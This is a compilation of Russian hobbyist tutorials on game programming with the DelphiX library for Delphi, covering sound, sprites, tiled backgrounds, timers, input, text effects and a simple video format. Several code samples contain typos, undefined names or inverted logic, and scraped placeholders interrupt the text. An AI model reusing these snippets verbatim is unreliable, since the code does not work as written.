Это полезно для того чтобы ехе файл занимал меньше размера. Загрузка wav файлов в "realtime" Ниже указанная процедура загружает wav, и автоматически добавляет в Dxwavelist1:
procedure LoadSound (Filename, SoundName : String);
begin
   dxwavelist1.Items.Add;
   with dxwavelist1.Items[dxwavelist1.Items.Count-1] do
   begin;
      Wave.LoadFromFile(filename);
      Name := SoundName;
      restore;
   end;
end;
NOTE: не забудьте поставить with form1 do. или declarations. Вызывайте эту процедуру до dxsound1.initialize; Если после, то выполните код:
dxsound1.Finalize;
dxsound1.Initialize;
Загрузка всех wav файлов из директории Собственно использование findfirst. не более того:
var sr: TSearchRec;
begin
   chdir('sounds'); //директория в которой звуки лежат
   if FindFirst('*.wav', faAnyFile, sr) = 0 then begin
      LoadSound(sr.name, sr.name); //имя звука будет идентично имени файла.
      while FindNext(sr)=0 do
         LoadSound(sr.name, sr.name); //заметьте что в имени звука учитывается регистр
   end;
Использование AudioStream:
var
   Audio: TAudioFileStream;
   WaveFormat: TWaveFormatEx;
   Audio := TAudioFileStream.Create(DXSound1.DSound);
   Audio.AutoUpdate := True;
   Audio.BufferLength := 1000;
   Audio.FileName := 'somefile.wav';
   Audio.Looped := FALSE;
   MakePCMWaveFormatEx(WaveFormat, 44100, Audio.Format.wBitsPerSample, 2);
   DXSound1.Primary.SetFormat(WaveFormat);
   Audio.Play;
NOTE: Вам надо в uses занести MMSystem, Wave; Я заметил что этот метод поджирает память (проверял по тестам). И на последок классная процедура автоматического расчета звука по каналам: Эта процедура автоматически расчитывает стерео для разрешения экрана 640хЧ80. Вызывается так: playsound('somesound1',320); - центр. playsound('somesound1',0); - слева. etc.
const
   OPT_SOUND : boolean = true ; //наличие звук
   OPT_STEREO : boolean = true ; //стерео
   OPT_CHANNELAPPROACH : word = 10 ; //степень смешения каналов
   OPT_REVERSESTEREO : boolean = false ; //реверсировать стерео
   OPT_VOLUME : integer = 0 ; //громкость (-10000 | 0).
procedure PlaySound(soundname : shortstring; x : word);
var PanFactor, PanValue : Double;
begin
   if OPT_SOUND = false then exit;
   if OPT_STEREO = true then begin
   PanFactor := 31.25; // 10000 is the panning range
   PanValue := ((X * PanFactor)-10000) / OPT_CHANNELAPPROACH;
   if OPT_REVERSESTEREO then PanValue := -panvalue;
   end else panvalue := 0;
   try
      WaveLst.Items.Find(soundname).Pan := round(Panvalue);
      WaveLst.Items.Find(soundname).Play(False);
      WaveLst.Items.Find(soundame).Volume := OPT_VOLUME;
   except
      ShowMessage('Error playing sound "'+soundname+'"');
   end;
end;
Автор статьи: 3d[Power]

Текст с эффектами.

Оформил: XVeL Автор: Релорт WEB-сайт: http://daddy.mirgames.ru

Содержание 1. Введение. 2. Благодарность и информация. 3. Часть 1. Базовый класс. 4. Часть 2. Эффект и отрисовка. 5. Заключение. Введение. Вам когда-нибудь хотелось организовать вывод текста, да не простого, а с наворотами. Так вот эта статья как раз про это. Читайте! Благодарность... Сайту Daddy.h1.ru (MirGames.ru) за то, что там можно найти информацию по DelphiX и скачать файлы со шрифтами :) Большое спасибо! … и информация. Прошу прошения у тех, кто писал на Relort@xaker.ru в последнее время, за то, что не ответил. В течение последнего месяца я не мог «достучатся» до своего ящика. И вот буквально вчера узнал, что тот на время накрылся :( Так что повторите свои отклики, просьбы, пожелания на новый электронный адрес. Также убедительная просьба присылать интересующие вас темы, и если я что-либо смогу по ним сказать, то обязательно это сделаю, оформив ответы в статьи. ОК? Часть 1. Базовый класс. Лирическое отступление: давайте договоримся, что все новые классы и тому подобное мы будем размешать в отдельных файлах. ОК? По крайне мере я собираюсь делать именно так... Итак, создаем новый проект, кидаем на форму TDXDraw, TDXTimer. Теперь создаем новый Unit и обзываем его, например, TextWithEffect_Unit.pas. Приготовления закончены. Приступаем. Рассуждаем: текст состоит из слов, слова из букв. Вот почему первым созданием в Unit’е будет:
TLetterEffect = record
   Visible: Boolean; //видима ли буква
   CurTime, Delay: Integer; //...
   Scale: Integer; //это и будет нашим эффектом (уменьшение)
end;
TLetterEffectArray = array of TLetterEffect;
PLetterEffectArray = ^TLetterEffectArray;
То есть описание буквы текста и определение массива букв. Сразу за ним пишем:
TTextWithEffect = class
private
   FontSurface: TDirectDrawSurface;
   TextSurface: TDirectDrawSurface;
   FText: String;
   FFontSize: Integer;
   FState: Integer;
   FFileName: String;
   LetterEffect: TLetterEffectArray;
   procedure SetText(const Value: String);
   procedure Error(ErrorType: Integer);
   procedure SetFontSize(const Value: Integer);
   procedure SetFileName(const Value: String);
public
   property Text: String read FText write SetText;
   property FontSize: Integer read FFontSize write SetFontSize;
   property FileName: String read FFileName write SetFileName;
   procedure Draw(Surface: PDirectDrawSurface);
   constructor Create(DD: PDirectDraw);
   destructor Destroy;
end;
Надеюсь здесь все понятно? Нет!? Ну тогда ладно: FontSurface – поверхность (TDirectDrawSurface), содержащая алфавит. TextSurface - поверхность (TDirectDrawSurface), содержащая текст к выводу. LetterEffect – буквы текста. Text – текст к отрисовке. FontSize – размер каждой буквы текста. Здесь надо оговорится: каждая буква текста берется из файла с именем FileName (третье свойство TTextWithEffect), т. е. FileName – имя файла с алфавитом (см. архив, прилагаемый к статье, файл Font.bmp); и для заполнение TextSurface’а необходим размер каждой буквы. Ну и так далее... А сейчас самое интересное: создание эффекта и просмотр результата. Часть 2. Эффект и отрисовка. Для данного примера я опишу лишь один эффект – уменьшение букв с течением времени. Этот эффект довольно просто реализовать с учетом вышеописанного класса TLetterEffect. В том классе за текущее состояние эффекта буквы отвечала переменная Scale. Все что нам нужно – уменьшать ее во времени (но до определенного момента). А вот и сама процедура, принимающая в качестве аргумента указатель на массив букв. Вот...
//Эффект
procedure ScaleDown(L: PLetterEffectArray);
var
   i: Integer;
begin
   for i:=0 to High(L^) do
   begin
      if L^[i].Scale < 0 then
      begin
         inc(L^[i].CurTime);
         if L^[i].CurTime <= L^[i].Delay then
         dec(L^[i].Scale, 1);
         exit;
      end;
   end;
end;
// ну и отрисовка
procedure TTextWithEffect.Draw(Surface: PDirectDrawSurface);
var
   i: Integer;
   rc: TRect;
   rc1: Trect;
   s: Integer;
begin
   if FontSurface = nil then exit;
   if FText = '' then exit;
   // рисуем текст без эффекта
   Surface^.Draw(32, 32, TextSurface.ClientRect, TextSurface, True);
   // вносим изменения в эффект
   ScaleDown(@LetterEffect);
   // и выводим текст с эффектом побуквенно
   for i:=0 to High(LetterWithEffect) do
   begin
      s := LetterEffect[i].Scale;
      if s = 32 then exit;
      rc1 := Rect(i*16,0,(i+1)*16,16);
      if s < 0 then
      begin
         rc := Rect(i*16+32-s, 64-s, ((i+1)*16)+32+s, 80+s);
         Surface^.StretchDraw(rc, rc1, TextSurface, True);
      end
      else Surface^.Draw(i*16+32, 64, rc1, TextSurface, True)
   end;
end;
Заключение. Посмотрите файл TWE_Ex.exe. Вот чего можно добиться расширив данный пример :) !!! Ну вот вроде бы как и все. Мы добрались до завершения статьи. Если что непонятно, необходимо пояснение или пример пишите. Отвечу всем. Пример к статье Автор: Релорт Relort@yandex.ru Февраль 2003.

Туториал по DelphiX.

Оформил: XVeL Автор: Daddy WEB-сайт: http://daddy.mirgames.ru

Все очень сыро и местами утрачено. Постепенно буду высушивать и восстанавливать. Изначально базировался на Tutorial by Martin Jochems , september 2001. Вступление 1. DXDraw 1.1 Наиболее частая конфигурация 1.2 Режимы экрана 1.2.1 Оконный режим 1.2.2 Полноэкранный режим 2. DXImageList 2.1 Загрузка изображений во время выполнения 2.2 Палитра 2.3 Фон 3. Спрайтовый движок 3.1 Система координат 3.2 Игровой сценарий 3.3 Фоновое изображение 3.3.1 Статический фон 3.3.2 Двигающийся фон 3.3.3 Тайловый фон (фон собранный из кусочков) 3.3.4 Столкновение с фоном 3.4 Изометрический тайловый движок 3.5 Анимация спрайтов 3.6 Столкновение спрайтов & pixelcheck 4. Таймер 5. DXInput 6. Советы & Секреты 6.1 Получение версии DirectX 6.2 Сценарий игры 6.3 STD Sprite 6.4 Оптимальное качество звука 6.5 Текст в DXDraw 6.6 Меню ВступлениеDelphiX - библиотека для Delphi основанная на Microsoft’овском DirectX. В настоящий момент, DelphiX поддерживает функции DirectX 1-7. Благодаря концепции DirectX, игры сделанные на более ранних версиях DirectX будут работать и на более поздних. 1. Статьи по Delphi (008)…DXDrawПоверхность компоненты DXDRAW служит фундаментом для отображения графики. 1.1 Наиболее частая конфигурация
Align...................allClient	
AutoSize................True
Display
   FixedBitCount........True
   Fixedratio...........True	
   Fixedsize............False
Options
   DoFullScreen.........True
   doFlip...............True
   Rest.................False
Если одновременно значения DoFullScreen и DoFlip сделать равными True, то кнопки управления окном не появятся (GDI=off). Если Вы хотите использовать кнопки, меню и т.д. можно сделать их в виде спрайтов. Если DoFlip=False, то включен оконный режим. Использование DoFullscreen и DoFlip делает игру очень быстрой по сравнению с игрой в оконном режиме.DXDrawSurface имеет тип TDirectDrawSurface. Эта поверхность также называется ' вторичной поверхностью ' или закадровой поверхностью, потому что она невидимая. Поверхность становится видимой после запроса метода DXDraw.Flip , в тот момент вторичная поверхность становится первичной. DXDraw.Primary - первичная (видимая) поверхность. Статьи по Delphi (008)… 1.2 Режимы экранаТекущая конфигурация видеорежима Windows не влияет на игровую конфигурацию. Все настройки осуществляются через DXDraw. Форма, на которой размещается DXDraw , должна иметь тип TDXForm. 1.2.1 Оконный режим Для включения/выключения оконного/полноэкранного режимов служит опция [doFullScreen], посмотрите:
procedure TForm1.WindowMode;
begin
   DXDraw1.Finalize;
   RestoreWindow;
   DXDraw1.Options := DXDraw1.Options - [doFullScreen];
   DXDraw1.Display.Width := 640;
   DXDraw1.Display.Height := 480;
   DXDraw1.Display.BitCount := 8;
   DXDraw1.Initialize;
end;
DXDraw.Align := alClient;
Form.ClientWidth := … // Установка ширины Формы/DХDrаw
Form.ClientHeight := … // Установка высоты Формы

1.2.2 Полноэкранный режим
procedure TForm1.FullScreenMode;
begin
   DXDraw1.Finalize;
   StoreWindow;
   DXDraw1.Options := DXDraw1.Options + [doFullScreen];
   DXDraw1.Display.Width := 640;
   DXDraw1.Display.Height := 480;
   DXDraw1.Display.BitCount := 8;
   DXDraw1.Initialize;
End;
// Set mode in non-Windows GUI Disable windows-controls-< purely graphics screen (very fast)
DXDraw.Options := DXDraw.Options + [doFlip];
// Enable Windows controls
DXDraw.Options := DXDraw.Options - [doFlip];
Screen.Cursor := CrNone; // Спрятать курсор
Form1.BorderStyle := bsSingle; // Спрятать бордюр формы

2. Статьи по Delphi (008)… DXImageListКомпонента для загрузки графических файлов. 2.1 Загрузка изображений во время выполненияНижеприведенная процедура загружает растровое изображение в DXImageList (BMP, DIB и т.д.). Картинка становится элементом DXImageList.
procedure LoadImage (Filename, NameImage : String; PatWidth, PatHeight : Integer; Transp : Boolean; TranspColor : TColor);
begin
   DXImageList.Items.Add;
   with DXImageList.Items[DXImageList.Items.Count-1] do
   begin
      Picture.LoadFromFile (FileName);
      Name := NameImage;
      PatternWidth := PatWidth;
      PatternHeight := PatHeight;
      SkipHeight := 0;
      SkipWidth := 0;
      SystemMemory := False;
      Transparent := Transp;
      TransparentColor := TranspColor;
      Restore;
   end;
end;
С помощью этого метода можно запросто загрузить около 200 BMP или DIB картинок одновременно. Большее количество требует большего объема памяти. 2.2 ПалитраПалитра это таблица цветов. Это - фактически массив чисел, где каждое число относится к некоторому цвету. Каждый цвет - фактически также только число. Это число зависит от количества красного, зеленого и синего в цвете (RGB-значение). В DelphiX, цветовая палитра доступна через DXDraw.ColorTable. Чтобы быть уверенным, что DXDraw будет использовать ту же самую палитру что и изображение в DXImageList сделаем следующее:
ImageList.Items.MakeColorTable;
DXDraw.ColorTable := ImageList.Items.ColorTable;
DXDraw.DefColorTable := ImageList.Items.ColorTable;
DXDraw.UpdatePalette;
Ниже дан кусок кода для создания цвета (TRGBQuad). Стандартная палитра содержит 256 этих RGВQuаd'ов.
Var Pal : TRGBQuad;
Pal.rgbRed := 16;
Pal.rgbGreen := 0;
Pal.rgbBlue := 0;
Pal.rgbReserved := 0;
DXDraw1.ColorTable[i] := Pal;
Конечно можно сделать функцию для этой цели, подобную данной ниже:
function ComposeColor(Dest,Src:TRGBQuad;Percent:Integer):TRGBQuad;
begin
   with Result do
   begin
      rgbRed :=Src.rgbRed+((Dest.rgbRed-Src.rgbRed)*Percent div256);
      rgbGreen :=Src.rgbGreen+((Dest.rgbGreen-Src.rgbGreen)*Percent div256);
      rgbBlue :=Src.rgbBlue+((Dest.rgbBlue-Src.rgbBlue)*Percent div256);
      rgbReserved :=0;
   end;
end;
Ниже видно как заполнить палитру цветами:
Var Col : Integer;
for i:=0 to 255 do
   DXDraw1.ColorTable[i] := ComposeColor (RGBQuad(GetRValue(Col), GetGValue(Col), GetBValue(Col) ), DXDraw1.DefColorTable[i], p);
DXDraw1.UpdatePalette;
Анимация палитры (изменение цвета) используется для придания мерцания, вспышек (и прочих эфектов). 2.3 ФонЕсли нам надо заполнить весь фон одной картинкой, то нужно сделать картинку размером с экран (например 640x480). Высота и ширина фоновой картинки определяются свойствами PatternWidth и PatternHeight (TpictureCollectionItem) а изображение содержится в DXImageList.Items […] .Picture. Когда фон представлен 1 картинкой, PatternHeight и PatternWidth устанавливаются в 0 (но не, например, в 640x480!). Статьи по Delphi (008)… Одно изображение как постоянный фон 3. Статьи по Delphi (008)… DXSpriteEngineSpriteEngine компонента, контролирующая все спрайты SpriteEngine - не 'чистый' DelphiX компонент, потому он не представляет собой часть DirectX, как другие DelphiX компоненты. Многие игроделатели, использующие DelphiX, создают собственный Движок (например игра ‘Joffa’: www.joffa.com/). Ниже - системы координат, с объяснением, как они связаны в SpriteEngine. 3.1 Система координат Статьи по Delphi (008)…
Sprite.WorldX = Sprite.X + Sprite.Engine.X (sprite.x. связан с SpriteEngine) Sprite.WorldY = Sprite.Y + Sprite.Engine.Y (sprite.y. связан с SpriteEngine)
Верхний левый угол представляет координату (0,0). Sprite.Engine.X и Sprite.Engine.Y по умолчанию 0. В этом случае оба X и Y значения Спрайта равны значениям WorldY и WorldX. Когда меняются значения X и Y SрritеЕnginе'а, все X и Y значения, содержащиеся в SpriteEngine, тоже меняются.
 
Sprite.Moved	= Допускать перемещение; да или нет
Sprite.Collisioned = Обнаруживать столкновение; да или нет
Метод DXSpriteEngine.Move удостоверяет (?), что все спрайты в SpriteEngine вызывают свой метод DoMove. Обычно это происходит после каждого интервала таймера компонента Timer). В этом методе, проверка на столкновение сделана, через вызов метода спрайта Collisions. Метод DoCollision вызывается только когда столкновение обнаружено. Есть много решений для создания движения фона при перемещении спрайта. Одно из решений состоит в том, чтобы изменить X и Y значения DXSpriteEngine в DoMove методе перемещающегося спрайта.Вот так:
DXSpriteEngine.X := ...
DXSpriteEngine.Y := ...
Часто используемое решение:
X := ... // Новое значение X спрайта
Y := ... // Новое значение Y спрайта
DXSpriteEngine.X := -X + (DXSpriteEngine.Width div 2) - (Width div 2);
DXSpriteEngine.Y := -Y + (DXSpriteEngine.Height div 2) - (Height div 2);
Другим решением для создания движения фона, может быть движение BackgroundSprites. 3.2 Игровой сценарийНиже стандартный сценарий для игры (вкл. SpriteEngine). (дам позже, как есть, на хренегознаеткаком языке) 3.3 Фоновые изображения 3.3.1 Статический фон
TBackground = class (TBackgroundsprite)
public
   procedure DoMove (MoveCount : Integer); override;
end;
SBackground := TBackground.Create (DXSpriteEngine1.Engine);
with SBackground do
begin
   image := DXImageList1.Items.Find('image1');
   image.Transparent := false;
   SetMapSize(1,1);
   Z := -10;
   Tile := false;
end;
var SBackground : TBackground;
3.3.2 Движущийся фон
											
TBackground = class (TBackgroundsprite)
public
   procedure DoMove (MoveCount : Integer); override;
end;
procedure TBackground.DoMove (MoveCount : Integer);
begin
   inherited DoMove (MoveCount);
   X := X-1;
end;
3.3.3 Тайловый фон (фон собран из тайлов)
Tile := True; { Фон полностью заполнен тайлами (При прокрутке, тайлы будут повторяться). Значение SetMapSize будет игнорироваться; количество тайлов зависит от размера области экрана (завершенный фон). SetmapSize должен быть вызван! иначе работать не будет .. попробуйте например: SetMapSize (1,1) } Tile := False; { Количество тайлов по высоте и ширине is determined by ‘SetmapSize (w,h) SetMapsize (20, 10) <-> mapwidth :=20; mapheight :=10; }
Если фоновая картинка не закрывает весь экран, она будет размножена. Каждый кусочек называется «Тайл». В случае, если изображение должно представлять собой набор из Тайлов, параметры PatternWidth и PatternHeight должны быть меньшие чем область экрана. Эти значения не должны быть слишком большие (например 70x50). Если значение тайлов очень велико, то ничего видно не будет! Статьи по Delphi (008)… тайл1 Статьи по Delphi (008)… тайл2 Статьи по Delphi (008)… Тайловый фон 4x4 (случайное заполнение)
MapWidth := 4; MapHeight := 4;
SBackground.Chips[0,0] to [3,3]
Randomize;
SBackground := TBackground.Create (DXSpriteEngine1.Engine);
with SBackground do
begin
   image := DXImageList1.Items.Find('backgr');
   image.Transparent := false;
   SetMapSize(4,4);
   Z := -10;
   for i := 0 to MapHeight-1 do
      for j := 0 to MapWidth-1 do
         Chips[j,i] := random(2);
   Tile := false;
end;
Chips[j,i] := -1; // тайл [j,i] будет без картинки

Есть предел для числа Тайлов, при использовании тайлового фона. Это число зависит от памяти компьютера, но возможно и большое количеств. Он делал испытание с Тайлом 100x100, повторного на карте 1000x1000. Хорошая вещь состоит в том, что каждый из этих Тайлов может использоваться при построении различных изображений. Это возможно, потому что каждый Тайл хранится как номер (integer). Отрицательный номер Тайла означает, что этот Тайл без картинки. 3.3.4 Столкновение с фоном
Randomize;
SBackground := TBackground.Create (DXSpriteEngine1.Engine);
with SBackground do
begin
   image := DXImageList1.Items.Find('backgr');
   image.Transparent := false;
   SetMapSize(5,5);
   Collisioned := True; //Не забудьте, иначе столкновения учитываться не будут!
   Z := -10;
   for i := 0 to MapHeight-1 do
       for j := 0 to MapWidth-1 do
       begin
          Chips[j,i] := random(2); // Выбирается случайный Тайл
          CollisionMap [j,i] := false; // Все Collisions отключены
       end;
   Tile := false;
end;
SBackground.CollisionMap [3,3] := true; // Тайл [3,3] "чувствует" столкновения

!Collisioned у TBackgroundSprite - по умолчанию False, а у TimageSprite - True. Статьи по Delphi (008)… Спрайт столкнулся с Тайлом фона Chip [3,3]. 3.4 Изометрический тайловый движок Статьи по Delphi (008)… NatureBackgroundSprite Z:=-10 (3 Тайла в рисунке) Статьи по Delphi (008)… GrassBackgroundSprite Z:=-11; (1 тайл в рисунке) Статьи по Delphi (008)…Такая же концепция как и в предыдущем красно-желтом Тайловым фоном. Но теперь используются два уровня для тайлов вместо одного, и NatureBackgroundSprite имеет изометрическую проекцию. Таким образом можно делать многослойные BackgroundSprites, формируя сложные фоны. В интернете есть множество статей о создании законченных Изометрических движков. 3.5 Анимация спрайтовКадр - картинка из серии картинок, используемых для анимации. Ниже картинка из 7 кадров. Статьи по Delphi (008)… Статьи по Delphi (008)…FPS Количество кадров в секунду.
									
AnimPos		  текущий кадр анимации
AnimStart	  стартовый кадр
AnimCount	  количество кадров анимации (берется из PatternCount)
AnimLooped  для повтора анимации (по кругу)
AnimSpeed = (DXTimer.Interval / 1000) * FPS (напр.: Interval=1 и FPS=2 а 2/1000)
Для анимации достаточно указать AnimStart. AnimPos автоматически изменяется во время анимации. 3.6 Столкновение спрайтов & PixelCheck Статьи по Delphi (008)… Рiхе1Сhеск ON: следит касаются ли пикселы(точки) спрайтов друг друга. Рiхе1Сhеск OFF: следит касаются ли рамки спрайтов друг друга (рамка определяется высотой и шириной спрайта. Это не всегда то же самое что высота и ширина изображения спрайта!) 1. Рiхе1Сhеск не работает вообще когда сталкивающиеся спрайты анимируются. 2. Рiхе1Сhеск работает плохо, когда один из двух сталкивающихся спрайтов анимируется. 3. Pixelcheck работает хорошо, только когда ни один из обоих спрайтов не анимируется. 4. Столкновения без PixelCheck всегда работают хорошо (даже когда оба спрайта анимируются). В этом случае, важны только рамки спрайтов (высота и ширина). В процедуре DoMove спрата, метод Collision следит, за столкновениями с другим спрайтом. Если столкновение произошло, то вызывается метод DoCollision. Заголовок процедуры Collision всегда выглядит так: procedure TDummySprite.DoCollision (Sprite: TSprite; var Done: Boolean); Где Sprite - спрайт, который столкнулся с текущим спрайтом. Вы можете явно указать, что столкновение произошло. Это может быть сделано, установкой параметра Done, равным True. По умолчанию этот параметр равен False. В методе DoMove надо всегда вызывать оригинальный метод DoMove : Inherited DoMove (MoveCount); (Не нужно делать подобным способом при использовании DoCollision) 4. Статьи по Delphi (008)… DXTimerФактически, таймер управляет всей игрой; все действия игры происходят в одной большой петле. Тело этой петли может быть включено в 'OnTimer' событие Таймера. DXTimer опрашивается каждую миллисекунду. Хотя это не означает что каждую миллисекунду что-что случается. Определяется это в параметре 'Interval' - число миллисекунд между каждым действием. Предположим, что это значение - 100, тогда каждую 0.1 секунды событие 'OnTimer' будет выполнено (главная петля игры).
procedure TForm1.DXTimer1Timer(Sender: TObject; LagCount: Integer);
begin
   if not DXDraw1.CanDraw then Exit;
   DXDraw1.Surface.Fill (0);
   DXSpriteEngine1.Move (1);
   DXSpriteEngine1.Draw;
   DXDraw1.Flip;
end;
Interval Время в миллисекундах между выполнением двух последовательных OnTimer событий. Framerate (=FPS) Число OnTimer событий исполняющихся каждую секунду (частота). Interval = 1000 / FrameRate Внимание: Когда используется очень маленький интервал (меньше чем 10 миллисекунд.) отношение между Interval и FrameRate - не будет правильным, так как у компьютера есть максимальный FrameRate (например 82 FPS), тоже самое и с максимальным интервалом. Какой интервал может быть, полностью зависит от компьютера. Обычно, интервал между 0 и 1 выбирается так, чтобы получился максимальный FrameRate. FrameRate должен считываться непосредственно, потому что он не может быть рассчитан через Interval. Минимальный FrameRate для нормальной мультипликации - около 25, но чем больше, тем лучше. 60 - хороший FrameRate (DXTimer.Interval = 1000 / 60). Поскольку FrameRate – значение только для чтения, то интервал должен задаваться явно, чтобы приобрести некоторую частоту.
DXTimer1.Interval := 1000 div 60; // 60 раз в секунду вызываем метод OnTimer
LagCount is the (?). frequence +1 // частота = кол-во исполнений 'OnTimer'

Также нельзя самостоятельно устанавливать параметр 'LagCount'. Это делается автоматически. Значение LagCount зависит от выбранного FrameRate (интервала). LagCount - истинный интервал времени, который используется (он может отличиться от выбранного интервала таймера). При выборе 0 или 1, LagCount определит минимальный интервал времени, так, чтобы получился максимальный FrameRate.
DXSpriteEngine.Move(LagCount);
X := X+ 0.7*MoveCount; { Вы можете делать значение MoveCount таким-же, как и LagCount.
Вы можете посылать это значение через параметры метода но не надо
(Вы можете дать ваше собственное значение MoveCount) }

5. Статьи по Delphi (008)…DXInputКомпонента для отслеживания ввода с клавиатуры, джойстика или мыши.
//Получить текущее состояние
DXInput.Update;
//Текущее состояние джойстика
DXInput.Joystick.X;
DXInput.Joystick.Y;
//Определение движения джойстика:
if ((DXInput.Joystick.X><0) or (DXInput.Joystick.Y><0)) then
   ...
//Интервал осей
DXInput.Joystick.RangeX := ... // RangeX =10 то интервал: от-10 до +10
DXInput.Joystick.RangeY := ...
DXInput.Joystick.RangeZ := ...
//Определение состояния клавиатуры
if isLeft in DXInput.States then // Нажата кнопка влево.
   .....
if isRight in DXInput.States then
   ....
if isUp in DXInput.States then
   ....
if isDown in DXInput.States then
   ....
//Возможно, что DXInput.States содержит и IsUp и IsRight (вверх, вправо).
DXInput1.States := DXInput.States - [isButton1]; //Отключение 1 кнопки
DXInput1.States := DXInput.States + [isButton2]; //Включение 2 кнопки
//Кнопки
procedure TForm1. FormKeyUp(Sender: TObject; var Key: Word; Shift: TShiftState);
begin
   if Key = VK_ESCAPE then
      Close;
   if key = ord('B') then
      ...
end;
VK_ESCAPE
Ord (Ascii)
VK_F1 t/m VK_F10
VK_SPACE
VK_UP
VK_DOWN
VK_LEFT
VK_RIGHT
6. Советы и секреты 6.1 Получение версии DirectX
function GetDXVersion : String;
begin
   with tregistry.Create do
      try
         rootkey:=HKEY_LOCAL_MACHINE;
         if OpenKey( '\SOFTWARE\Microsoft\DirectX', False) then
            result:= copy(Readstring('Version'),4,3)
         else result:='DirectX не установлен';
      finally
         free;
      end;
end;
Или можно запустить C:\Windows\System\DXDiag.EXE :) 6.2 Game Scenario 6.3 STD Sprite 6.4 Оптимальное качество звука
procedure Tform1.DXSound1Initialize(Sender: TObject);
var fmt:TWaveFormatEx;
begin
   try       // Set up the DXSound object to use high quality samples
      with Fmt do
      begin
         wFormatTag := WAVE_FORMAT_PCM;
         nSamplesPerSec := 44100;
         nChannels := 2;
         wBitsPerSample := 16;
         nBlockAlign := wBitsPerSample div 8 * nChannels;
         nAvgBytesPerSec := nSamplesPerSec * nBlockAlign;
      end;
      // must be in exclusive to set the format
      DXSound1.Options := DXSound1.Options + [soExclusive];
      DXSound1.Primary.SetFormat(Fmt);
   except       // Error
   end;
end;
6.5 Text in DXDraw
with DXDraw1.Surface.Canvas do
begin
   Brush.Style := bsClear;
   Font.Size := 12;
   Font.Color := clRed;
   TextOut(0,0, ’Some Text’);
   Release;
end;
6.6 МенюFor making menu-items you can make a different picture (sprite) for each menu-item. To show if the menu-item is on or off, you’s just show a different picture (when you move your mouse over the Option).
												
procedure TForm1.DXDrawMouseMove(Sender: TObject; Shift: TShiftState; X,Y: Integer);

Видео формат для использования в играх. Со звуком формата WAV (скоро будет MP3).

Оформил: XVeL Автор: Spose WEB-сайт: http://daddy.mirgames.ru

Данный видео формат использует компоненты DelphiX, и Jpeg для отрисовки изображения, поэтому процесс отрисовки изображений не очень прогрессивен, и в ближайшее время появится статья, где все это выполняется через WinAPI, более быстрый способ. Вот типы процедур, которые будут использоваться в статье: 1.StartScene - эта процедура будет выполнятся один раз, и только перед началом Scene, обычно, создает Объекты для Scene и ставит нужные параметры для отрисовки. 2.Scene - эта процедура, выполняемая каждую секунду столько раз сколько у Вас кадров всекунду (FPS) у DхТimеr'а, обычно отрисовывает те объекты, которые создавались в StartScene. 3.EndScene - в этой процедуре, обычно, очищают память от тех объектов, которые не будут использованы в других сценах, а использовались только в этой. Сначала укажем в USES что будем использовать Jpeg, потом после слова TYPE пишем:
TIMHeader = record
   Face:array[1..5] of char; //Это типа мой идентификатор
   fps:byte; //Количество кадров в секунду
   Pictures:integer; //Количество картинок в файле
   width,height:integer; //Ширина и высота картинок
   sound:byte; //Если 1 то звук есть, если 0 то звука нет
   soundsize:int64; //Размер звукового файла
end;
//А в поле VAR пишем:
var
   schet:integer=1; //Количество картинок-schet=кадров осталось до конца
   fs:tfilestream; //Компонент необходимый для чтения файлов
   f:TImHeader; //Собственно заголовок Видео Файла
   center,str:boolean; //1е - елси нужно ровнять по центру, 2е-растянуть
   jpg:TjpegImage;//Картинка Jpeg
Теперь идет процедура типа StartScene:
fs:=tfilestream.Create('Имя файла',fmOpenRead); //Открываем видео файл
fs.Read(f,sizeof(f)); //Читаем заголовок
if f.sound=1 then
begin
   m:=tmemorystream.Create;
   m.CopyFrom(fs,f.soundsize);
   m.Position:=0;
   wl.Items.Find('sound').Wave.LoadFromStream(m);
   wl.Items.Find('sound').Restore;
end;
timer.Interval:=1000 div f.fps; //Устанавливаем скорость отрисовки картинок(кадры в секунду)
dximagelist.items.clear; //Отчищаем Имэйдж Лист от картинок, для освобождения памяти
dximagelist.Items.Add; //Добавляем один Итэм в Имэйдж Лист (в нем будет лежать каждый кадр видеоролика)
if (f.width=640) or (f.height=480) then //Если картинка например 640х240 то рисуем по центру
   center:=true
else
begin
   if (f.width=320) and (f.height=240) then //Если картинка пропорциональна 640хЧ80 то растягиваем
   str:=true;
end;
jpg:=tjpegimage.create;
dxtimer.Enabled:=true; //Начинаем отрисовку
end;
Ну и наконец сама процедура отрисовки, она ставится на dxdtimer.ontimer или попросту к процедурам типа Scene:
var //Объявляем переменные
   size:int64; //Размер изображения в Видео Файле
   memo:tmemorystream; //Временый участок памяти под картинку
begin
   if not ddraw.CanDraw then exit;
   if (schet=1) and (f.sound=1) then //Начинаем с первого кадра играть звук
      if dxsound.Initialized then wl.Items.Find('sound').Play(false);
   if schet<f.Pictures then //Если картинки в Видео Файле закончились
   begin //ТО:
      fs.Free; //Закрываем видео файл
      endscene; //Конец сцены (процедура типа EndScene)
      jpg.free; //Картинку тоже отчищаем
      exit; // Далее не продолжаем
   end else //А если картинки не закончились то:
   inc(schet); //Schet увеличиваем на единицу
   memo:=tmemorystream.Create; //Выделяем участок в памяти
   fs.Read(size,sizeof(size)); //Читаем из Видео Файла размер изображения
   memo.CopyFrom(fs,size); //Загружаем это изображение в память
   memo.Position:=0;
   jpg.LoadFromStream(memo); //Загружаем в нее изображение
   dximagelist.items.Items[0].Picture.Assign(jpg); //Засовываем картинку в Имэйдж Лист
   dximagelist.Items.Items[0].Restore; //принимаем изменения
   ddraw.Surface.Fill(0); //Заливаем фон черным(в случае если видео непрозрачное или на весь экран, можно не писать)
   {Далее 8 строк, проверяем на центрированость и на растяг, потом орисовываем картинку}
   if center then
   begin
      x:=(640-f.width)div 2;
      y:=(480-f.height)div 2;
      il.Items.Items[0].draw(ddraw.Surface,x,y,0);
   end;
   if str then il.Items.Items[0].stretchdraw(ddraw.Surface,bounds(0,0,640,480),0);
   memo.Free; //Отчищаем память от нарисованой картинки
   ddraw.flip; //Переключаем страницу видеопамяти (если эта процедура типа Scene, то можно не писать)

Пример. Перетащите файл file.imp на файл video.exe(Сначала откомпилируйте проект). Программа создающая видео файлы теперь на русском языке. Описание: Hеобходимо, чтобы в папке с программой находились картинки (из которых состоит видео фрагмент) в формате BMP. При этом их названия должны быть, не такие: 1 10 11 12 2 3 4 5 6 7 8 9 А такие: 01 02 03 04 05 06 07 08 09 10 11 12 Чтобы сохранить их порядок! Вот в принципе и всё.

Игра отражений.

Оформил: DeeCo

Автор: Владимир Волосенков.

Музыку любите, а на инструменте неприличное слово нацарапали. "Республика ШКИД".

